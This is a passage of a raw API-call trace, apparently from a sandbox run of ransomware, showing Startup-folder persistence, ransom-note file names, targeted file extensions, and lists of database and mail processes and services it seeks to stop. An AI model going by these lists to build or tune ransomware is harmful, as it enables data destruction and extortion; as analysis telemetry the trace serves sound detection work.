hHeap=0x530000) returned 1 [0234.103] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x580de8, Size=0x20) returned 0x565c38 [0234.103] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565c38, Size=0x40) returned 0x566dc8 [0234.103] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566dc8, Size=0x80) returned 0x5aaf40 [0234.103] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569810, Size=0x8) returned 0x569820 [0234.103] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569820, Size=0x10) returned 0x580de8 [0234.103] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x580de8, Size=0x20) returned 0x565c88 [0234.104] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0234.104] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5aaf40 | out: hHeap=0x530000) returned 1 [0234.104] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x580e18, Size=0x20) returned 0x565cb0 [0234.104] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565cb0, Size=0x40) returned 0x566dc8 [0234.104] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0234.104] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0234.104] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x566dc8 | out: hHeap=0x530000) returned 1 [0234.104] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x580e18, Size=0x20) returned 0x565cb0 [0234.104] lstrlenW (lpString="Info.hta") returned 8 [0234.104] lstrlenW (lpString="Info.hta") returned 8 [0234.104] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565cb0 | out: hHeap=0x530000) returned 1 [0234.104] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5bef50, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\uyuquk.exe")) returned 0x66 [0234.104] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5bef50 | out: hHeap=0x530000) returned 1 [0234.104] lstrlenW (lpString="uyuquk.exe") returned 10 [0234.104] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565c88, Size=0x40) returned 0x566dc8 [0234.104] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x580e18, Size=0x20) returned 0x565c88 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x580e18, Size=0x20) returned 0x565cb0 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565cb0, Size=0x40) returned 0x566e10 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566e10, Size=0x80) returned 0x5aaf40 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5aaf40, Size=0x100) returned 0x57cf48 [0234.105] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0234.105] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57cf48 | out: hHeap=0x530000) returned 1 [0234.105] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x5bef50, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0234.105] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5cef58 | out: hHeap=0x530000) returned 1 [0234.105] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5bef50 | out: hHeap=0x530000) returned 1 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569820, Size=0x8) returned 0x569810 [0234.105] lstrlenW (lpString="%windir%;") returned 9 [0234.105] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565c88 | out: hHeap=0x530000) returned 1 [0234.105] lstrlenW (lpString="C:\\Windows;") returned 11 [0234.105] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58c338 | out: hHeap=0x530000) returned 1 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x580e30, Size=0x20) returned 0x565c88 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565c88, Size=0x40) returned 0x566e10 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566e10, Size=0x80) returned 0x5aaf40 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5aaf40, Size=0x100) returned 0x57cf48 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57ef48, Size=0x8) returned 0x57ef58 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57ef58, Size=0x10) returned 0x580e78 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x580e78, Size=0x20) returned 0x565c88 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569820, Size=0x8) returned 0x57ef48 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569830, Size=0x8) returned 0x569820 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57ef58, Size=0x8) returned 0x57ef68 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57ef68, Size=0x10) returned 0x580f20 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x580f20, Size=0x20) returned 0x565cb0 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57ef48, Size=0x10) returned 0x580f20 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569820, Size=0x10) returned 0x580f70 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57ef48, Size=0x8) returned 0x57ef58 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57ef78, Size=0x8) returned 0x57ef88 [0234.105] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x580f20, Size=0x20) returned 0x565cd8 [0234.106] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x580f70, Size=0x20) returned 0x565d00 [0234.106] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57ef98, Size=0x8) returned 0x57efa8 [0234.106] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0234.106] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57cf48 | out: hHeap=0x530000) returned 1 [0234.106] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581000, Size=0x20) returned 0x565d50 [0234.106] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x58c338, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0234.106] lstrlenW (lpString="C:\\") returned 3 [0234.106] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0234.107] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58c338 | out: hHeap=0x530000) returned 1 [0234.107] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57efd8, Size=0x82) returned 0x5ade98 [0234.107] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57eff8, Size=0x100) returned 0x57cf48 [0234.107] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5ade98, Size=0x104) returned 0x581740 [0234.108] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57cf48, Size=0x200) returned 0x581868 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57efe8 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x581868 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5810a8 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ab160 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x581060 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ab0d8 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x581090 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x581740 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x581078 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ad968 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5810c0 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ad9f8 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5810d8 | out: hHeap=0x530000) returned 1 [0234.109] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5810d8, Size=0x20) returned 0x565d78 [0234.109] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565d78, Size=0x40) returned 0x566e10 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57efb8 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x581000 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ad000 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x581030 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ab050 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x581018 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57efc8 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x581048 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x567fb8 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5663d8 | out: hHeap=0x530000) returned 1 [0234.109] lstrlenW (lpString="%systemdrive%") returned 13 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565d50 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5aaf40 | out: hHeap=0x530000) returned 1 [0234.109] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57ef98 | out: hHeap=0x530000) returned 1 [0234.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x5aef30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0234.110] WaitForMultipleObjects (nCount=0x2, lpHandles=0x567ee0*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 64 os_tid = 0x584 Thread: id = 66 os_tid = 0x5c4 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581048 [0234.169] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581048, Size=0x20) returned 0x565d78 [0234.169] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565d78, Size=0x40) returned 0x566e58 [0234.169] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566e58, Size=0x80) returned 0x5aaf40 [0234.169] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5aaf40, Size=0x100) returned 0x57cf48 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581048 [0234.169] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581048, Size=0x20) returned 0x565d78 [0234.169] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565d78, Size=0x40) returned 0x566e58 [0234.169] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566e58, Size=0x80) returned 0x5aaf40 [0234.169] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5aaf40, Size=0x100) returned 0x57d050 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x581048 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4) returned 0x57ef98 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x581018 [0234.169] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57ef98, Size=0x8) returned 0x57efc8 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14) returned 0x5663f8 [0234.169] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57efc8, Size=0x10) returned 0x581030 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x18) returned 0x566418 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a) returned 0x565d78 [0234.169] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581030, Size=0x20) returned 0x565da0 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c) returned 0x565dc8 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x16) returned 0x566438 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a) returned 0x565df0 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x581030 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4) returned 0x57efc8 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x40) returned 0x566e58 [0234.169] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57efc8, Size=0x8) returned 0x57ef98 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3c) returned 0x566ea0 [0234.169] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57ef98, Size=0x10) returned 0x581000 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14) returned 0x566458 [0234.169] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x18) returned 0x566478 [0234.170] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x581000, Size=0x20) returned 0x565e18 [0234.170] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x24) returned 0x567ff0 [0234.170] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0234.170] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57cf48 | out: hHeap=0x530000) returned 1 [0234.170] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0234.170] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57d050 | out: hHeap=0x530000) returned 1 [0234.170] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x565f08 [0234.234] EnumServicesStatusExW (in: hSCManager=0x565f08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0234.237] GetLastError () returned 0xea [0234.237] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa64) returned 0x59e870 [0234.237] EnumServicesStatusExW (in: hSCManager=0x565f08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x59e870, cbBufSize=0xa64, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x59e870, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0234.238] CloseServiceHandle (hSCObject=0x565f08) returned 1 [0234.243] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0234.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0234.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0234.243] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0234.243] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0234.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0234.243] lstrlenW (lpString="AudioSrv") returned 8 [0234.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0234.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0234.243] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0234.243] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0234.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0234.243] lstrlenW (lpString="BFE") returned 3 [0234.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0234.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0234.243] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0234.243] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0234.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0234.243] lstrlenW (lpString="CscService") returned 10 [0234.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0234.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0234.243] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0234.243] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0234.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0234.244] lstrlenW (lpString="DcomLaunch") returned 10 [0234.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0234.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0234.244] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0234.244] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0234.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0234.244] lstrlenW (lpString="Dhcp") returned 4 [0234.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0234.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0234.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0234.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0234.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0234.244] lstrlenW (lpString="Dnscache") returned 8 [0234.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0234.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0234.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0234.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0234.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0234.244] lstrlenW (lpString="eventlog") returned 8 [0234.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0234.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0234.244] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0234.244] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0234.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0234.244] lstrlenW (lpString="EventSystem") returned 11 [0234.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0234.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0234.244] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0234.244] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0234.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0234.244] lstrlenW (lpString="gpsvc") returned 5 [0234.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0234.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0234.244] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0234.244] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0234.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0234.245] lstrlenW (lpString="lmhosts") returned 7 [0234.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0234.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0234.245] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0234.245] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0234.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0234.245] lstrlenW (lpString="MMCSS") returned 5 [0234.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0234.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0234.245] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0234.245] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0234.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0234.245] lstrlenW (lpString="MpsSvc") returned 6 [0234.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0234.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0234.245] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0234.245] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0234.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0234.245] lstrlenW (lpString="nsi") returned 3 [0234.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0234.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0234.245] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0234.245] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0234.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0234.245] lstrlenW (lpString="PlugPlay") returned 8 [0234.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0234.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0234.245] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0234.245] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0234.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0234.245] lstrlenW (lpString="Power") returned 5 [0234.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0234.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0234.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0234.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0234.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0234.245] lstrlenW (lpString="ProfSvc") returned 7 [0234.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0234.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0234.246] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0234.246] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0234.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0234.246] lstrlenW (lpString="RpcEptMapper") returned 12 [0234.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0234.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0234.246] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0234.246] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0234.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0234.246] lstrlenW (lpString="RpcSs") returned 5 [0234.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0234.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0234.246] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0234.246] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0234.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0234.246] lstrlenW (lpString="SamSs") returned 5 [0234.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0234.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0234.246] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0234.246] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0234.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0234.246] lstrlenW (lpString="Schedule") returned 8 [0234.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0234.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0234.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0234.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0234.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0234.246] lstrlenW (lpString="SENS") returned 4 [0234.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0234.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0234.246] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0234.246] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0234.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0234.246] lstrlenW (lpString="ShellHWDetection") returned 16 [0234.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0234.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 